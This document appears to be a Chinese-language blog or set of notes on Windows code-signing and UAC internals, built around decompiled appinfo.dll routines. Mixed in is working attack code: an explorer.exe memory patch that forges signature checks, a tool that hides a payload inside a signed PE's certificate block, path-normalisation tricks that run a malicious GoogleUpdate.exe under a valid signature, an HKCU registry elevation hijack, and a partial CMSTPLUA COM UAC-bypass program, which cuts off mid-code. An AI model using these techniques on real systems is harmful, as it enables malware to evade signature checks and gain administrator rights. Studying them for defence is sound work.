char x96payload[] = { "\x48\x31\xC0\xFE\xC0\xC3" };
int main() {
pfnCryptVerifyData = (PCHAR)GetProcAddress(LoadLibraryA("Crypt32"), "CryptSIPVerifyIndirectData");
EnumWindows([](HWND hWnd, LPARAM lParam) -> BOOL {
DWORD processId = NULL;
GetWindowThreadProcessId(hWnd, &processId);
if (HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId)) {
GetModuleFileNameExA(hProc, NULL, tmpModName, sizeof(tmpModName));
if (!stricmp(tmpModName, "C:\\Windows\\explorer.exe"))
patchedDone |= WriteProcessMemory(hProc, pfnCryptVerifyData, x96payload, sizeof(x96payload), NULL);
};
return true;
}, 0);
puts(patchedDone ? "[+] Sign Verify Patch for Explorer.exe Done." : "[!] Explorer.exe Alive yet?");
return 0;
};

本程序运行后将explorer.exe的CryptSIPVerifyIndirectData进行patch,直接返回TRUE,然后从explorer.exe文件属性中校验签名,发现签名正常。

签名扩展攻击

上个小节只是欺骗,本小节尝试从计算流程中找缺陷来绕过签名验证。

在杂凑计算流程中避开有:会因为植入签名讯息而异动的Checksum校验和、用于事后填写用的Secruity Directoy栏位、与签名讯息块本身结构。由于签名讯息本身不能被作为指纹杂凑计算流程的范畴、而受签名且其签署有效的程式档案又被Windows信任体系(如防毒厂商或系统自带白名单防护)视为安全无误的资料。于是选择在签名讯息块中藏匿任何恶意档案或资料,又不破坏签名有效性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <fstream>
#include <windows.h>
#include <WinTrust.h>
#pragma warning(disable : 4996)
PBYTE MapFileToMemory(LPCSTR filename, LONGLONG& filelen) {
FILE *fileptr;
PBYTE buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (PBYTE)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
};
int main(int argc, char** argv) {
if (argc != 4) {
PCHAR fileName = strrchr(argv[0], '\\') ? strrchr(argv[0], '\\') + 1 : argv[0];
printf("usage: %s [path/to/signed_pe] [file/to/append] [path/to/output]\n", fileName); //具数位签名的程式档案 欲藏匿的资料档案 输出程式档案
return 0;
};
// read signed pe file & payload
LONGLONG signedPeDataLen = 0, payloadSize = 0;
PBYTE signedPeData = MapFileToMemory(argv[1], signedPeDataLen), payloadData = MapFileToMemory(argv[2], payloadSize);
// prepare space for output pe file.
PBYTE outputPeData = new BYTE[signedPeDataLen + payloadSize];
memcpy(outputPeData, signedPeData, signedPeDataLen);
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(&outputPeData[((PIMAGE_DOS_HEADER)(outputPeData))->e_lfanew]);
PIMAGE_DATA_DIRECTORY certInfo = &ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY];
// append payload into certificate
LPWIN_CERTIFICATE certData = (LPWIN_CERTIFICATE)(&outputPeData[certInfo->VirtualAddress]);
memcpy(&PCHAR(certData)[certData->dwLength], payloadData, payloadSize);
certInfo->Size = (certData->dwLength += payloadSize);
// flush pe data back to file
fwrite(outputPeData, 1, signedPeDataLen + payloadSize, fopen(argv[3], "wb"));
puts("done.");
return 0;
};

路径正规化滥用攻击

DOS路径2.0路径正规化流程为:确认传入路径为下列哪种类型;将路径中所有斜杠取代为反斜杠;若有多个反斜杠则收叠成一个;若有当前目录“.”则移除,有上层目录“..”则移除上层目录名;最后一个资源为路径分隔符反斜杠则代表一个目录,并保留;若末端不是路径分隔符、空白字元或点字元则移除。

任何透过Windows API取得的路径必定经过上述路径正规化步骤,若传入路径用前缀“\\?\”则上述步骤直接被跳过。第一点是因为NTFS和FAT等文件系统支持“foo.”等文件名,但标准Windows路径不合法,需要访问这类档案时使用;Windows XP~8的路径长度最长不超过MAX_PATH即260字元,但Windows 10中支持32767字元,用该前缀绕过传统的路径长度检测。

Windows API内部呼叫ntdll!RtlDetermineDosPathNameType_U将传入路径归类下列类型其中一种:

类型 含义 举例
RtlPathTypeRooted 根目录作为当工作目录磁碟槽下的相对路径 \Windows
RtlPathTypeDriveRelative 磁碟槽相对路径 C:Windows
RtlPathTypeRootLocalDevice 本地根设备路径 \\?\C:\Windows\explorer.exe
RtlPathTypeLocalDevice 本地设备路径 \\.\C:\Windows\explorer.exe
RtlPathTypeUncAbsolute UNC相对路径 \\127.0.0.0\C$\Windows\explorer.exe
RtlPathTypeDriveAbsolute 典型绝对路径 C:\Windows\explorer.exe
RtlPathTypeRelative 典型相对路径 bin\

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
cd C:\tmp
mkdir \dir_a #新建的是C:\dir_a\
mdkir dir_b\ #新建的是C:\tmp\dir_b\

cd C:\tmp
mkdir \??\C:\tmp..
mkdir C:\tmp\kami
mdkir \??\C:\tmp..\malicious
explorer.exe C:\tmp..\ #实际弹出C:\tmp\
#例如此时将具有数位签名的程式放在C:\tmp\下,把恶意程式放在C:\tmp..\下,两个名字都为GoogleUpdate.exe
wmic process call create C:\tmp..\GoogleUpdate.exe #实际运行恶意程式,但数位签名是正常的

cd "...." #还是当前目录
cd "\. .. ..." #上层目录
cd C:\tmp
cd C:hello #被判定为RtlPathTypeDriveRelative 解析到C:\tmp\hello目录

"\\127.0.0.1\C$\Windows\System32\cmd" /c whoami
"\\localhost\C$\Windows\System32\cmd" /c whoami
wmic process call create "\\?\UNC\127.0.0.1\C$\windows\system32\cmd.exe /c whoami && pause"
wmic process call create "\\?\UNC\::1\C$\windows\system32\cmd.exe /c whoami && pause"
\\.\GLOBAL\UNC\::1\C$\Windows\System32\cmd /c whoami
\\.\GLOBALROOT\Device\Mup\::1\c$\Windows\System32\cmd /c whoami
echo xxx>\\.\GLOBALROOT\Device\NULL & ls
wmic process call create "\\.\GLOBALROOT\GLOBAL??\UNC\::1\c$\Windows\System32\cmd /c echo xxx $pause"

#WinObj中\GLOBAL??下能看到很多符号链接 如下
echo aaa>\\.\NUL #位桶
"\\.\$data<>\ \..\..\C:\Windows\System32\cmd" /c whoami
"\\.\C:\msgbox.exe\A\B\..\..\..\..\C:\Windows\System32\cmd" /c whoami
"\\.\Z:\X:\Y:\../../../\UNC\::1/////\\\\\C$\Windows\System32\cmd" /c whoami

WinObj中符号连结的顶层目录下有些常用子目录:

子目录 含义
Driver 已挂载驱动档案
Device 全域设备,如TCP/UDP设备、NULL设备、UNC路径使用的Mup设备
GLOBAL?? 全域符号连结,遇到前缀“\\.\”时使用
KnownDlls 已知DLL模组,不按照DLL搜索顺序进行搜索,避免DLL劫持

在这个情况下,可以欺骗:

1
type 恶意.exe > "\\?\C:\tmp\正常.exe " #注意最后这个空格

对“正常.exe ”进行签名校验时实际抓的是“正常.exe”,此时签名通过。

UAC防护逆向工程至本地提权

入门

UAC防护服务名为Application Information,可以看到命令行如下,意思是将appinfo.dll托管在svchost.exe高权限服务,独立为一个进行运作。当出现UAC授权的GUI界面时,用Process Explorer可以看到svchost.exe下出现了consent.exe,即UAC授权GUI界面。

1
C:\Windows\system32\svchost.exe -k netsvcs -p

每次低权程式档案撞见为特权提升进程时,且请求被允许时,UAC特权服务以高权孵化出低权程式档案进程。这代表UAC特权服务有回调函数appinfo!RAiLaunchAdminProcess负责接收请求、验证、生成进程和分放权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct APP_PROCESS_INFORMATION{
unsigned __int3264 ProcessHandle;
unsigned __int3264 ThreadHandle;
long ProcessId;
long ThreadId;
};
long RAiLaunchAdminProcess(
handle_t hBinding, //RPC通道句柄
[in][unique][string] wchar_t* ExecuteablePath, //低权程式路径
[in][unique][string] wchar_t* CommandLine, //命令参数
[in] long StartFlags,
[in] long CreateFlags, //CreateProcessAsUser的dwCreateFlags参数
[in][string] wchar_t* CurrentDirectory, //预设工作目录
[in][string] wchar_t* WindowStation, //若有视窗界面 应被配置于哪个工作站
[in] struct APP_STARTUP_INFO* StartupInfo, //视窗起始坐标、大小、最大最小或隐藏介面
[in] unsigned __int3264 hWnd,
[in] long Timout,
[out] struct APP_PROCESS_INFORMATION* ProcessInformation, //返回子进程信息 有进程线程识别码、控制码等
[out] long* ElevationType
);

RAiLaunchAdminProcess中调用的RAiLaunchProcessWithIdentity中,有:

1
2
3
4
5
6
7
8
9
10
v44 = I_RpcBindingInqLocalClientPID(Binding, &Pid); //通过Binding取得发起此RPC请求的父进程的进程ID
if ( !v44 ) {
ClientId.UniqueProcess = (HANDLE)Pid;
ObjectAttributes.Length = 48;
memset(&ObjectAttributes.RootDirectory, 0, 20);
*(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0LL;
v45 = NtOpenProcess(&ProcessHandle, 0x1004C0u, &ObjectAttributes, &ClientId); //尝试读取父进程来确认是否存活 已死亡则无需后续认证流程与生成子进程
if ( v45 < 0 )
v44 = RtlNtStatusToDosErrorNoTeb(v45);
else {

RAiLaunchAdminProcess中还有:

1
2
3
4
5
6
7
hObject = CreateFileW(v41, 0xA0000000, 5u, 0LL, 3u, 0x80u, 0LL); //以可读可执行方式向内核请求子进程档案控制码
if ( hObject == (HANDLE)-1LL ) {
LastError = GetLastError();
v16 = token;
Reply = LastError;
if ( LastError != 1920 && LastError != 5 || !(unsigned __int8)IsLoadAppExecutionAliasInfoExPresent() || (v99 = 0, AppExecutionAliasPath = GetAppExecutionAliasPath(v41, v16, 0LL, &v99), WIN32_FROM_HRESULT(AppExecutionAliasPath) != 122) ) {
LABEL_105:

还有:

1
2
3
4
5
6
7
8
Reply = CheckElevation(v64, &v120, 0LL, &v107, &v97); //v107为1表示不要通知 2为应用程式尝试变更时通知 选项如控制面板中设置一样
if ( !Reply ) {
v65 = v63;
if ( v26 )
v65 = v26;
Reply = AiCheckSecureApplicationDirectory(v65, &v99);
if ( Reply ) {
RpcRevertToSelf();

Windows 7的UAC防护加入了“UAC信任授权双重认证机制”,若两段认证“认证A”和“认证B”皆通过,在consent.exe被唤起后不弹出UAC介面程式询问使用者是否授权,并自动同意该次提升进程创建请求。

认证A阶段时,函数AiCheckSecureApplicationDirectory中认证子进程路径是否从可信路径发起的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  v2 = 0;
*a2 = 0;
v5 = 0;
UnicodeString = 0LL;
v6 = 0LL;
memset(&RelativeName, 0, sizeof(RelativeName));
LongPathNameW = GetLongPathNameW(lpszShortPath, 0LL, 0); //计算该路径字串长度
v8 = LongPathNameW;
if ( !LongPathNameW )
goto LABEL_2;
v11 = (WCHAR *)LocalAlloc(0x40u, 2LL * LongPathNameW); //申请一块对应长度的wchar_t字串空间
v6 = v11;
if ( !v11 ) {
LocalFree(0LL);
RtlReleaseRelativeName(&RelativeName);
v5 = 8;
goto LABEL_7;
}
if ( !GetLongPathNameW(lpszShortPath, v11, v8) ) { //将子进程路径储存入该字串空间
LABEL_2:
LastError = GetLastError();
LABEL_3:
v5 = LastError;
goto LABEL_4;
}
v12 = ((__int64 (__fastcall *)(WCHAR *, struct _UNICODE_STRING *, _QWORD, _RTL_RELATIVE_NAME_U *))RtlDosPathNameToRelativeNtPathName_U_WithStatus)(v6,&UnicodeString,0LL,&RelativeName); //将长档名绝对路径转译为NT Path 后继路径比对都基于该转换结果 例如L"C:\a.exe"转为L"\??\C:\a.exe"
if ( v12 < 0 ) {

在接下来的这个函数中,比对路径开头是否符合白名单内的系统路径,如\??\C:\Windows、\??\C:\Program Files\或\??\C:\Program Files(x86)\且不在黑名单目录内,黑名单目录通常为小算盘、Windows Edge等系统额外特色小工具的目录。若从C:\Windows\开头的绝对路径发起,则trustedFlag设为0x2000。此外还以C:\Windows\System32、C:\Windows\SysWOW64、C:\Windows\ehome、C:\Windows\Adam或C:\Windows\ImmersizeControlPanel开头的,设为0x4000。后续AipMatchesOriginalFileName将程式做档案映射到记忆体中,确认其PE程式档案资源档中version.txt记录着编译时档案名称是否与当前子进程档名相符,来避免档案替换的劫持手段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void __fastcall AipCheckSecureWindowsDirectory(struct _UNICODE_STRING *a1, unsigned int *a2) {
unsigned int v2; // esi
unsigned int v3; // ebx
unsigned int v6; // ebx
unsigned int i; // ebx
unsigned __int8 v8; // al
int v9; // ecx
v2 = 0;
v3 = 0;
while ( !RtlPrefixUnicodeString((PCUNICODE_STRING)&g_ExcludedWinDir + v3, a1, 1u) )
if ( ++v3 >= 0x20 ) {
if ( v3 == 32 ) {
*a2 |= 0x2000u; //trustedFlag 第一层信任:可参考的信任但无法完全信任的值0x2000
v6 = 0;
while ( !RtlPrefixUnicodeString((PCUNICODE_STRING)&g_IncludedWinDir + v6, a1, 1u) )
if ( ++v6 >= 5 ) {
if ( v6 == 5 && wcschr(&a1->Buffer[(unsigned __int64)(unsigned __int16)word_180040FE8 >> 1], '\\') )
return;
break;
}
*a2 |= 0x4000u;
for ( i = 0; i < 2; ++i )
if ( RtlEqualUnicodeString((PCUNICODE_STRING)&g_IncludedXmtExe + i, a1, 1u) ) {
v8 = AipMatchesOriginalFileName(a1);
v9 = *a2;
if ( v8 ) {
*a2 = v9 | 0x800000; //0x400000、0x800000或0x200000标志是通过后记第二层自动提升验证的重要标记
LABEL_22: //当位于System32和SysWow64时赋值0x200000
*a2 |= 0x200000u;
return;
}
*a2 = v9 | 0x400000;
}
if ( i != 2 )
goto LABEL_22;
while ( !RtlPrefixUnicodeString((PCUNICODE_STRING)&g_IncludedSysDir + v2, a1, 1u) )
if ( ++v2 >= 2 ) {
if ( v2 == 2 )
return;
break;
}
if ( !wcschr(&a1->Buffer[(unsigned __int64)*((unsigned __int16 *)&g_IncludedSysDir + 8 * v2) >> 1], '\\') )
goto LABEL_22;
}
return;
}
}

若程式路径开头在Program Files则进一步呼叫AipCheckSecurePFDirectory来比对目录是否在Windwos Defender、Journal、Media Player或Multipoint Server中。

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall AipCheckSecurePFDirectory(PCUNICODE_STRING String2, unsigned int *a2) {
unsigned int v3; // ebx
*a2 |= 0x2000u;
v3 = 0;
do {
if ( RtlPrefixUnicodeString((PCUNICODE_STRING)&g_IncludedPF + v3, String2, 1u) )
break;
if ( ++v3 == 8 )
return;
}
while ( v3 < 8 );
*a2 |= 0x4000u; //若是则trustedFlag设为0x2000|0x4000 指隶属Windows的外部应用服务 即Program Files下的客制化安装程序
}

RAiLaunchAdminProcess中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
AiIsEXESafeToAutoApprove(v66, hObject, v63, &v99, &v128);
v67 = RpcRevertToSelf();
v15 = v99;
if ( v67 ) {
Reply = v67;
goto LABEL_165;
}
if ( (v120 & 8) != 0 ) {
v15 = v99 | 0x1000;
v99 |= 0x1000u;
}
if ( (v120 & 4) != 0 ) {
v15 |= 2u;
v99 = v15;

AiIsEXESafeToAutoApprove即为整体UAC提权自动提升的重点验证,如果之前验证A中trustedFlag未大于0x200000,则直接离开该函数:

1
2
3
4
5
6
7
8
  if ( (v13 & 0x200000) != 0 )
goto LABEL_6;
v14 = WPP_GLOBAL_Control;
if ( WPP_GLOBAL_Control == (_UNKNOWN *)&WPP_GLOBAL_Control )
goto LABEL_5;
if ( (*((_BYTE *)WPP_GLOBAL_Control + 28) & 1) != 0 ) {
v31 = 11LL;
LABEL_46:

接下来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
LABEL_6:
v16 = wcsrchr(a1, '\\'); //拿出当前程式档案名称
if ( v16 )
v17 = v16 + 1;
else
v17 = a1;
LOBYTE(v40) = 0;
v41[2] = 0LL;
pActCtx.lpResourceName = (LPCWSTR)1;
pActCtx.cbSize = 56;
pActCtx.lpSource = a1;
pActCtx.dwFlags = 8;
*(_OWORD *)&pActCtx.wProcessorArchitecture = 0LL;
*(_OWORD *)&pActCtx.lpApplicationName = 0LL;
FileMappingW = CreateFileMappingW(v7, 0LL, 0x11000002u, 0, 0, 0LL); //将子进程程式静态内容从磁碟槽上档案映射进来
if ( FileMappingW ) {
v19 = (HMODULE)MapViewOfFile(FileMappingW, 4u, 0, 0, 0LL);
v20 = v19;
if ( v19 ) {
pActCtx.dwFlags |= 0x80u;
pActCtx.hModule = v19;
v47[1] = 1LL;
v47[0] = 24LL;
v47[2] = 0LL;
v41[1] = 0LL;
if ( (int)LdrResSearchResource(v19, v47, 3LL) >= 0 ) {
v21 = CreateActCtxW(&pActCtx);
hActCtx = v21;
if ( v21 != (HANDLE)-1LL ){
if ( QueryActCtxSettingsW(0, v21, 0LL, L"autoElevate", pvBuffer, 8uLL, 0LL) ) { //确认静态程式内容中咨询清单manifest.xml是否将autoElevate键值设为true表示程式自身欲求Auto Elevation特权提升 没有则离开后继认证授权
v32 = (unsigned __int8)v40;
if ( ((pvBuffer[0] - 84) & 0xFFDF) == 0 )
v32 = 1;
v40 = v32;
}
ReleaseActCtx(hActCtx);
}
}
//...
if ( !bsearch(v17, &g_lpAutoApproveEXEList, 0xAuLL, 8uLL, AipCompareEXE) ) { //若子进程未有Auto Elevation请求 但档案名称为白名单清单中一项 则也被视为需要自动特权提升的程式
LABEL_38:
v9 = L"NULL";
goto LABEL_39;
}
if ( !AipIsValidAutoApprovalEXE(v7, a1) ) { //验证微软数位签章、且签章效力仍有效状态 则通过认证B
*a4 |= 0x400000u;
goto LABEL_38;
}

AipIsValidAutoApprovalEXE中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bool __fastcall AipIsValidAutoApprovalEXE(void *a1, const unsigned __int16 *a2) {
char v4; // di
struct _UNICODE_STRING DestinationString; // [rsp+30h] [rbp-78h] BYREF
int v7; // [rsp+40h] [rbp-68h] BYREF
_DWORD v8[23]; // [rsp+44h] [rbp-64h] BYREF
v4 = 0;
memset_0(v8, 0, 0x54uLL);
v7 = 88;
if ( (int)WTGetSignatureInfo(a2, a1, 6146LL, &v7, 0LL, 0LL) >= 0 && (unsigned int)(v8[0] - 5) <= 1 && v8[20] ) { //验证子进程数位签名是否有效 wintrust.dll
RtlInitUnicodeString(&DestinationString, a2);
return AipMatchesOriginalFileName(&DestinationString); //验证当前子程序档案名与编译阶段相同 未被修改
}
return v4;
}

UAC介面程式 ConsentUI

通过认证后用AiLaunchConsentUI唤起consent.exe,并将trustedFlag传给后者。

1
2
3
4
5
6
7
8
9
10
v29 = AiLaunchConsentUI((__int64)v22, v51, a6, v50, v37, v28, v39, a8, &ExistingTokenHandle);
v30 = ExistingTokenHandle;
v17 = v29;
if ( !v29 )
{
if ( !ExistingTokenHandle )
{
if ( (v28 & 0x10) == 0 )
{
v17 = 1223;

AiLaunchConsentUI中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
  ExitCode = SessionLock;
if ( !SessionLock ) {
ExitCode = AiLaunchProcess(0LL,v11,0LL,0x1000080u,0LL,Buffer,0x400u,0LL,v52,0LL,a5,0LL,0,0LL,0LL,0LL,&hObject); //暂停状态
SessionLock = ExitCode;
if ( !ExitCode ) {
ExitCode = AipVerifyConsent(hObject.hProcess); //确认consent.exe未被劫持
SessionLock = ExitCode;
if ( !ExitCode ) {
ResumeThread(hObject.hThread); //唤醒UAC介面程式 接下来等待进程执行结束
ExitCode = WaitForSingleObject(hObject.hProcess, dwMilliseconds); //退出原因 0为确认 0x4C7为否决
SessionLock = ExitCode;
if ( !ExitCode ) {
if ( GetExitCodeProcess(hObject.hProcess, &ExitCode) ) {
SessionLock = ExitCode;
if ( ExitCode ) {
v36 = Handle;
if ( !Handle )
goto LABEL_3;
goto LABEL_64;
}
v38 = Handle;
if ( pcbData && Handle ) {
v39 = AipMarkAutoApprovedToken(Handle);
if ( v39 < 0 ) {
v40 = RtlNtStatusToDosErrorNoTeb(v39);
v36 = Handle;
ExitCode = v40;
LABEL_64:
NtClose(v36);
SessionLock = ExitCode;
Handle = 0LL;
goto LABEL_3;
}
SessionLock = ExitCode;
v38 = Handle;
}
*v9 = v38;
}
else {
SessionLock = GetLastError();
ExitCode = SessionLock;
}
}
}
}
}

AipVerifyConsent中,有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
    InformationProcess = NtReadVirtualMemory(hProcess, BaseAddress, Buffer, 0x7D0uLL, (PSIZE_T)ReturnLength); //将当前暂停的consent.exe程式内容取出
if ( InformationProcess < 0 )
goto LABEL_22;
v3 = LocalAlloc(0, 0x1000uLL);
if ( !v3 ) {
LastError = 8;
goto LABEL_16;
}
InformationProcess = NtReadVirtualMemory(hProcess, v15, v3, 0x1000uLL, (PSIZE_T)ReturnLength);
if ( InformationProcess < 0 || (InformationProcess = RtlImageNtHeaderEx(0, v3, *(ULONGLONG *)ReturnLength, &NtHeader), InformationProcess < 0) )
LABEL_22:
LastError = RtlNtStatusToDosErrorNoTeb(InformationProcess);
else {
if ( NtHeader->OptionalHeader.Magic != 523 /*是否为x64进程*/|| (unsigned __int64)NtHeader->OptionalHeader.SizeOfHeaders > *(_QWORD *)ReturnLength || SLOBYTE(NtHeader->OptionalHeader.DllCharacteristics) >= 0 )
goto LABEL_15;
v5 = (char *)&NtHeader->OptionalHeader + NtHeader->FileHeader.SizeOfOptionalHeader;
v6 = v5 - (_BYTE *)v3;
for ( i = 0; i < NtHeader->FileHeader.NumberOfSections; ++i ) {
if ( v6 > *(_QWORD *)ReturnLength - 40LL )
goto LABEL_15;
if ( *(_QWORD *)v5 == 'tnesnoc' ) //找consent段
break;
v5 += 40;
v6 += 40LL;
}
if ( i == NtHeader->FileHeader.NumberOfSections || *((_DWORD *)v5 + 2) != 98 )
goto LABEL_15;
memset_0(Buf1, 0, 0x62uLL);
if ( !ReadProcessMemory(hProcess, (char *)v15 + *((unsigned int *)v5 + 3), Buf1, 0x62uLL, 0LL) ) {
LastError = GetLastError();
goto LABEL_16;
}
if ( memcmp_0(Buf1, L"Microsoft Windows (c) 2009 Microsoft Corporation", 0x62uLL) ) //consent区段是否为该局微软文字标记
LABEL_15:
LastError = 577;
}
}
LABEL_16:
LocalFree(v3);
return LastError;
}

再回到AiLaunchConsentUI的尾部,有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
LABEL_3:
if ( hObject.hThread ) {
CloseHandle(hObject.hThread);
SessionLock = ExitCode;
}
hProcess = hObject.hProcess;
if ( hObject.hProcess ) {
if ( SessionLock && SessionLock != 1067 ) {
TerminateProcess(hObject.hProcess, SessionLock);
hProcess = hObject.hProcess;
}
CloseHandle(hProcess);
SessionLock = ExitCode;
}
if ( v11 ) {
NtClose(v11);
SessionLock = ExitCode;
}
if ( SessionLock == 0x102 || SessionLock == 0x42B )
return 0x4C7LL; //被拒绝
else
return SessionLock; //同意授权 为0
}

然后在AiLaunchProcess内部用CreateProcessAsUserW将子进程路径以高权服务身份创建:

1
2
3
4
5
6
7
lpCurrentDirectory = v34;
v58 = lpApplicationName;
if ( !CreateProcessAsUserW(hToken,lpApplicationName,lpCommandLine,0LL,0LL,0,a7 | 0x80004,Environment,lpCurrentDirectory,&StartupInfo,&hObject) )
ShouldElevateUIAApplication = GetLastError();
RevertToSelf();
if ( !ShouldElevateUIAApplication ) {
si128 = _mm_load_si128((const __m128i *)&_xmm_ffffffffffffffffffffffffffffffff);

综上所述,UAC设计的自动特权提升条件有:执行程式自身配置为Auto Elevation、程式档案具有有效数位签名、从可信任的系统目录被执行起来。

不当注册表配置引发的特权劫持提权

系统还原工具sdclt.exe启动时尝试盲搜注册表,最终读取低权注册键值HKCU\Software\Microsoft\WIndows\CurrentVersion\App Paths\control.exe上储存的文字形式命令字符串:

1
"C:\Windows\System32\control.exe" /name Microsoft.BackupAndRestoreCenter

接着以特权提升方式唤醒高权的系统控制面板并切换至系统还原配置画面给使用者观看。

其中HKEY_CURRENT_USER注册键值为任何不具特权提升的低权程式皆可写入的注册项目,修改注册表值后可获得特权提升的其他进程。

Elevated COM Object UAC Bypass

Windows 10上无法稳定利用,略。

CMSTP任意特权提升执行

网路装置连线配置工具cmstp.exe在安装连线配置档案过程中呼叫COM Interface执行文字形式命令字串,只要呼叫此接口便得以特权提升状态执行ShellExecute函数。这节为x86工程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// $g++ masqueradePEB.cpp -lole32 -loleaut32 && a
#include <iostream>
#include <Shobjidl.h>
#include <winternl.h>
#include <windows.h>
using namespace std;
typedef interface ICMLuaUtil ICMLuaUtil;
typedef struct ICMLuaUtilVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(__RPC__in ICMLuaUtil *This,__RPC__in REFIID riid,_COM_Outptr_ void **ppvObject);
ULONG(STDMETHODCALLTYPE *AddRef)(__RPC__in ICMLuaUtil *This);
ULONG(STDMETHODCALLTYPE *Release)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method1)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method2)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method3)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method4)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method5)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method6)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *ShellExec)(__RPC__in ICMLuaUtil *This,_In_ const wchar_t *lpFile,_In_opt_ const wchar_t *lpParameters,_In_opt_ const wchar_t *lpDirectory,_In_ ULONG fMask,_In_ ULONG nShow);
HRESULT(STDMETHODCALLTYPE *SetRegistryStringValue)(__RPC__in ICMLuaUtil *This,_In_ HKEY hKey,_In_opt_ LPCTSTR lpSubKey,_In_opt_ LPCTSTR lpValueName,_In_ LPCTSTR lpValueString);
HRESULT(STDMETHODCALLTYPE *Method9)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method10)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method11)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method12)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method13)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method14)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method15)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method16)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method17)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method18)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method19)(__RPC__in ICMLuaUtil *This);
HRESULT(STDMETHODCALLTYPE *Method20)(__RPC__in ICMLuaUtil *This);
END_INTERFACE
} * PICMLuaUtilVtbl;
interface ICMLuaUtil { CONST_VTBL struct ICMLuaUtilVtbl *lpVtbl; };
HRESULT fn_call_CMSTPLUA_shellexecute(){
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
ICMLuaUtil *CMLuaUtil = NULL;
IID xIID_ICMLuaUtil;
LPCWSTR lpIID = L"{6EDD6D74-C007-4E75-B76A-E5740995E24C}";
IIDFromString(lpIID, &xIID_ICMLuaUtil);
BIND_OPTS3 bop;
ZeroMemory(&bop, sizeof(bop));
if (!SUCCEEDED(hr))
return hr;
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
hr = CoGetObject(L"Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}", (BIND_OPTS *)&bop, xIID_ICMLuaUtil, (VOID **)&CMLuaUtil);
if (hr != S_OK)
return hr;
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, L"cmd.exe", L"/k \"echo exploit done.", NULL, SEE_MASK_DEFAULT, SW_SHOW); //要执行的命令
if (CMLuaUtil != NULL)
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
return hr;
};
typedef struct _UNICODE_STRING32{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING32, *PUNICODE_STRING32;
struct mPEB32{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG Mutant;
ULONG ImageBaseAddress;
PEB_LDR_DATA *Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
